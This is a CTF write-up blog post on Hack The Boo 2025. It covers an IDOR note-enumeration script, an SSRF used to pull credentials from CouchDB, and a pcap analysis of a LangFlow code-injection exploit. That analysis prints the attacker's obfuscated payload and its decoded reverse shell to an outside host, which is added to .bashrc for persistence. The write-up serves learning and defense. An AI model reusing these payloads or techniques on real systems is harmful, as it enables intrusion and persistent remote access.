RSSAmplifier

Nathan Ellison · Nov 1, 2025

Hack The Boo 2025

0
Sign in to vote or save

Nathan Ellison

Spooky season has come and gone once again and hackers the world over got in on the fun with the Hack The Boo CTF from Hack The Box. It was a three day long event that ran from the 24th to the 27th of October (UTC). There were the usual challenge categories to play: web, crypto, pwn, reversing, forensics, and coding. Sadly there were no spooky AIs to talk to this year. Maybe next year…

Challenges

My best category this year was definitely web as I completed all web challenges in both the practice and competitive sets. I also completed some of the forensics and coding challenges too.

The Gate of Broken Names - Web

This was an easy difficulty challenge that had players attacking a web application which was used to store chronicles (notes).

web app homepage

I created an account and logged in. I hadn’t created any chronicles yet, so my dashboard was empty.

app dashboard with no notes

The source code of the application showed that it implemented an API which contained various endpoints for doing things like logging users in. Running the web requests through Burp showed the app calling out to the /api/auth/login endpoint for example.

login request in burp

Browsing the various endpoints turned up an interesting one - /api/notes/:id:

router.get('/:id', async (req, res) => {
  if (!req.session.user_id) {
    return res.status(401).json({ error: 'Unauthorized' });
  }

  const noteId = parseInt(req.params.id);

  try {
    const note = db.notes.findById(noteId);

    if (note) {
      const user = getUserById(note.user_id);
      res.json({
        ...note,
        username: user ? user.username : 'Unknown'
      });
    } else {
      res.status(404).json({ error: 'Note not found' });
    }
  } catch (error) {
    console.error('Error fetching note:', error);
    res.status(500).json({ error: 'Failed to fetch note' });
  }
});

This appeared to retrieve a note from the database without performing any access checks. A quick check of the findById function confirmed this.

findById: (id) => {
  const stmt = sqlite.prepare('SELECT * FROM notes WHERE id = ?');
  return stmt.get(id);
}

The database table creation queries showed that each note was referenced by an integer ID.

CREATE TABLE IF NOT EXISTS notes (
   id INTEGER PRIMARY KEY AUTOINCREMENT,
   user_id INTEGER NOT NULL,
   title TEXT NOT NULL,
   content TEXT NOT NULL,
   is_private INTEGER NOT NULL DEFAULT 0,
   created_at TEXT NOT NULL,
   updated_at TEXT NOT NULL,
   FOREIGN KEY (user_id) REFERENCES users(id)
);

Given this, I could use a quick Python script to enumerate all of the notes stored by the application. The token that the server gave me when I logged in had to be passed as a cookie to get the application to authorise my calls to the API.

import requests

ip="IP"
port="PORT"
url=f"http://{ip}:{port}"

cookies = {
    "connect.sid": "s%3ABw8W03Q-nXj6XhjN_I38yVbOOREoPFLr.lH1Ktw9HPZRwWlD6cYCyi2X2Y5Mijrko7MttahGbtxc"
}

for i in range(0,250):
    res = requests.get(f"{url}/api/notes/{i}", cookies=cookies)
    print(res.text)

This dumped all of the notes onto my terminal. Luckily, I ran this from within a tmux session, so I was able to find the flag by doing a search for the HTB string.

Flag: HTB{br0k3n_n4m3s_r3v3rs3d_4nd_r3st0r3d_44ddf2c7b6910661bb1a3e840fb5d632}

The Wax-Circle Reclaimed - Web

This was a medium difficulty challenge that presented a web application run by the Elin Croft Research Institute, an organisation that performed breach detection and analysis.

wax circle application homepage

The application had a login portal and some guest credentials were conveniently provided for me.

wax circle login portal

Routing the login request through Burp showed that the web server would give the user a JWT after they successfully authenticated.

login request in burp repeater

Decoding this showed that it was storing the name of the user, their role, and their access level. The guest user didn’t really have any permissions at all since their role and clearance were set to visitor and basic respectively.

jwt decoded on jwt.io

The guest user didn’t have access to the “classified research data” (the flag), but they could use the “breach analysis tool”.

breach analysis tool page

This looked very interesting, since it appeared that one could enter an arbitrary URL and the server would send a request to it. Inspecting the source code of the application showed that this function was implemented with the /api/analyze-breach endpoint.

app.post('/api/analyze-breach', requireAuth, (req, res) => {
    const { data_source } = req.body;

    if (!data_source) return res.status(400).json({ error: 'Data source URL required' });

    try {
        axios.get(data_source, { timeout: 5000, maxRedirects: 0 })
            .then(response => {
                let data = response.data;

...<SNIP>...

The API would accept an arbitrary URL from the request body and then use Axios (a promise-based HTTP client for Node) to retrieve the contents of that URL. This was a Server Side Request Forgery vulnerability. Further examination of the source code showed that the application was using CouchDB as its backend database.

// Wait for CouchDB to be ready
async function waitForCouchDB() {
    for (let i = 0; i < 30; i++) {
        try {
            const response = await axios.get(`${couchdbUrl}/_up`);
            if (response.status === 200) return;
        } catch (error) {
            await new Promise(resolve => setTimeout(resolve, 2000));
        }
    }
    throw new Error('CouchDB failed to start within expected time');
}

The database connection string was also hardcoded.

Combining this with the SSRF vulnerability meant that I could send requests to CouchDB over HTTP.

connecting to couch db through ssrf

I could abuse this to run queries on the database. First, I queried for all of the databases so that I would know which one to target.

all databases in couch db

There was a single users database available, but which user did I want to query for? Remembering the error message that I saw when I tried to view the flag as guest, the error stated that the logged in user needed to have the guardian role and divine_authority clearance. In the setup functions of the source code, there was a user with these permissions called elin_croft:

// Check if this is the position for elin_croft
if (i === elinCroftPosition) {
	const elinPassword = generateSecurePassword(16);
	generatedUsers.push({
		_id: 'user_elin_croft',
		type: 'user',
		username: 'elin_croft',
		password: elinPassword,
		role: 'guardian',
		clearance_level: 'divine_authority'
	});
}

This was the user that I wanted to target. If I could log in as them, I would have the permissions required for reading the flag. I ran a query on the database to retrieve the details of elin_croft using the SSRF vulnerability identified earlier.

elin croft user details

Having retrieved all user details for elin_croft, I logged in using their credentials and was able to read the flag.

flag

Watchtower of Mists - Forensics

This was an easy difficulty challenge that provided a single capture.pcap file for analysis. There were 7 questions to answer for this challenge.

  1. What is the LangFlow version in use (e.g. 1.5.7)?

To start, I didn’t even know what LangFlow was. A quick Google search revealed that it is a Low-code AI builder (another one). Given that fact, I filtered the traffic for HTTP (since LangFlow is accessed through a web browser). I spotted a request to the /api/v1/version endpoint.

version endpoint highlighted in wireshark

The response gave me the version.

langflow version in wireshark response

Answer: 1.2.0

  1. What is the CVE assigned to this LangFlow vulnerability? (e.g. CVE-2025-12345)

Googling for LangFlow CVE revealed the NIST page for the vulnerability.

Answer: CVE-2025-3248

  1. What is the name of the API endpoint exploited by the attacker to execute commands on the system? (e.g. /api/v1/health)

There were some interesting POST requests to the /api/v1/validate/code endpoint. Following that HTTP stream showed some really suspicious-looking request contents.

suspicious looking post requests

This was definitely the endpoint that I was looking for.

Answer: /api/v1/validate/code

  1. What is the IP address of the attacker? (format: x.x.x.x)

This one was easy. I just checked the source IP of the requests that were going to the /api/v1/validate/code endpoint.

Answer: 188.114.96.12

  1. The attacker used a persistence technique, what is the port used by the reverse shell? (e.g. 4444)

This question required me to decode what the attacker was sending to the /api/v1/validate/code endpoint. The request body contained some Python code that was base64 decoding and then decompressing some data with zlib. The server responses showed the output of the injected commands, so I scrolled to the request at the bottom of the HTTP stream since it didn’t contain any command output. This indicated to me that it was executing some kind of reverse shell payload.

POST /api/v1/validate/code HTTP/1.1
Host: ai.watchtower.htb:7860
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: keep-alive
Content-Type: application/json
Content-Length: 322

{"code": "\ndef run(cd=exec(__import__('zlib').decompress(__import__('base64').b64decode('eJwNyE0LgjAYAOC/MnZSKguNqIOCpAdDK8IIT0Pnyza1JvsIi+i313N8VC00oHSiMBohHw4h4j5KZQhxsLbNqCQFrbHrUQ60J9Ka0RoHA+USUZ+x/Nazs6hY7l+GVuxWVRA/i7KY8i62x3dmi/02OCXXV5bEs0OXhp+m1rBZo8WiBSpbQFGEvkvvv1xRPEeawzCEpbLguj8DMjVN')).decode())): pass\n"}

I opened a Python shell and pasted the code in except for the exec part since I didn’t want to actually run the payload, just decode it.

>>> __import__('zlib').decompress(__import__('base64').b64decode('eJwNyE0LgjAYAOC/MnZSKguNqIOCpAdDK8IIT0Pnyza1JvsIi+i313N8VC00oHSiMBohHw4h4j5KZQhxsLbNqCQFrbHrUQ60J9Ka0RoHA+USUZ+x/Nazs6hY7l+GVuxWVRA/i7KY8i62x3dmi/02OCXXV5bEs0OXhp+m1rBZo8WiBSpbQFGEvkvvv1xRPEeawzCEpbLguj8DMjVN')).decode()

'raise Exception(__import__("subprocess").check_output("echo c2ggLWkgPiYgL2Rldi90Y3AvMTMxLjAuNzIuMC83ODUyIDA+JjE=|base64 --decode >> ~/.bashrc", shell=True))'
>>>

The attacker was trying to achieve persistence by adding some kind of encoded payload into the .bashrc file. I decoded the payload to find the reverse shell command and the port that the attacker was using.

echo "c2ggLWkgPiYgL2Rldi90Y3AvMTMxLjAuNzIuMC83ODUyIDA+JjE=" | base64 -d

sh -i >& /dev/tcp/131.0.72.0/7852 0>&1

Answer: 7852

  1. What is the system machine hostname? (e.g. server01)

There was an earlier request to the /api/v1/validate/code endpoint which printed the system environment variables. The response contained the hostname of the system.

HTTP/1.1 200 OK
date: Mon, 15 Sep 2025 10:10:07 GMT
server: uvicorn
content-length: 951
content-type: application/json

{"imports":{"errors":[]},"function":{"errors":["b'TOKENIZERS_PARALLELISM=false\\nHOSTNAME=aisrv01\\nPYTHON_PIP_VERSION=24.0\\nHOME=/app/data\\nLANGFLOW_DATABASE_URL=postgresql://langflow:LnGFlWPassword2025@postgres:5432/langflow\\nLANGFLOW_HOST=0.0.0.0\\nGPG_KEY=7169605F62C751356D054A26A821E680E5FA6305\\nOPENAI_API_KEY=dummy\\nASTRA_ASSISTANTS_QUIET=true\\nLANGFLOW_PORT=7860\\nLANGFLOW_CONFIG_DIR=app/langflow\\nPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/dbf0c85f76fb6e1ab42aa672ffca6f0a675d9ee4/public/get-pip.py\\nSERVER_SOFTWARE=gunicorn/23.0.0\\nGRPC_VERBOSITY=ERROR\\nPATH=/app/.venv/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\\nTIKTOKEN_CACHE_DIR=/app/.venv/lib/python3.12/site-packages/litellm/litellm_core_utils/tokenizers\\nLANG=C.UTF-8\\nPYTHON_VERSION=3.12.3\\nPWD=/app\\nPYTHON_GET_PIP_SHA256=dfe9fd5c28dc98b5ac17979a953ea550cec37ae1b47a5116007395bfacff2ab9\\nUSER_AGENT=langflow\\n'"]}}

Answer: aisrv01

  1. What is the Postgres password used by LangFlow? (e.g. Password123)

The answer to this question was also contained in the environment variables.

Answer: LnGFlWPassword2025

Tricks (and Treats) Learned

In true Halloween spirit, many tricks and treats (flags) were learned and earned. Here’s what I got.

Wireshark Decrypt TLS Traffic

Applications like web browsers can be configured to log the secrets used in a TLS connection to a file (for debugging purposes of course), and Wireshark can use this to decrypt TLS traffic that it has captured. This was used in the forensics challenge When The Wire Whispered (which I unfortunately didn’t finish due to technical issues with my version of Wireshark). The challenge provided a file called tls-lsa.log which contained all of the secrets. To decrypt the traffic, all you need to do is go to Edit > Preferences > Protocols > TLS and add the file to the (Pre)-Master-Secret log filename setting. After applying, the previously encrypted traffic will become readable.

Rewriting Compiled Programs

Ghidra allows you to change the instructions that are sent to the CPU when a program is running without needing to recompile the program. The challenge Rusted Oracle provided a binary which would select a large random number and then pass it directly to the sleep() function, making the program run for years. To get around this, the CALL opcodes that called the rand() and sleep() functions could be changed to NOP, which removed the calls to both functions entirely.

Certificate

The certificate for this year’s Hack The Boo had some cool artwork, which I was very happy about.

hack the boo 2025 certificate

I’m looking forward to seeing what spooky surprises next year’s Hack The Boo has in store 👻. Now that the CTF is over, I’m shifting my focus back to studying for the Certified Web Exploitation Specialist certification. Until next time!

Read the original on nathan-ellison.com

Comments

Nothing yet. Say the first thing.

    Sign in to join the conversation.